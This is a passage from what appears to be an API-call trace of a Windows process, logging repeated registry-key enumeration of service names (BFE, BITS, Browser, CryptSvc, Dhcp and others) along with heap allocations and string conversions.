0x21f1a48 [0238.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0238.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.974] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0238.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0238.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0238.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.974] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0238.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0238.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0238.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.975] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0238.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0238.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.975] RegEnumKeyW (in: hKey=0x150, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0238.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0238.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0238.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.975] RegEnumKeyW (in: hKey=0x150, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0238.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0238.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.975] RegEnumKeyW (in: hKey=0x150, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0238.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0238.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.976] RegEnumKeyW (in: hKey=0x150, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0238.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0238.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0238.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.976] RegEnumKeyW (in: hKey=0x150, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0238.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0238.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0238.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.976] RegEnumKeyW (in: hKey=0x150, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0238.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0238.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.977] RegEnumKeyW (in: hKey=0x150, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0238.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0238.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.977] RegEnumKeyW (in: hKey=0x150, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0238.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0238.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.977] RegEnumKeyW (in: hKey=0x150, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0238.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0238.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.977] RegEnumKeyW (in: hKey=0x150, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0238.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0238.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0238.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.978] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0238.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0238.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0238.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.978] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0238.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0238.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0238.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.978] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0238.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0238.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0238.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.978] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0238.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0238.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1d60, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0238.979] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0238.979] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0238.979] RegEnumKeyW (in: hKey=0x150, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0238.979] RegEnumKeyW (in: hKey=0x150, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0238.979] RegEnumKeyW (in: hKey=0x150, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0238.979] RegEnumKeyW (in: hKey=0x150, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0238.979] RegEnumKeyW (in: hKey=0x150, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0238.979] RegEnumKeyW (in: hKey=0x150, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0238.979] RegEnumKeyW (in: hKey=0x150, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0238.979] RegEnumKeyW (in: hKey=0x150, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0238.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0238.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0238.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0238.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0238.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0238.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0238.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0238.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0238.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0238.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0238.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0238.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0238.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0238.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0238.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0238.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0238.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0238.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0238.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0238.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0238.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0238.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0238.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0238.981] RegEnumKeyW (in: hKey=0x150, 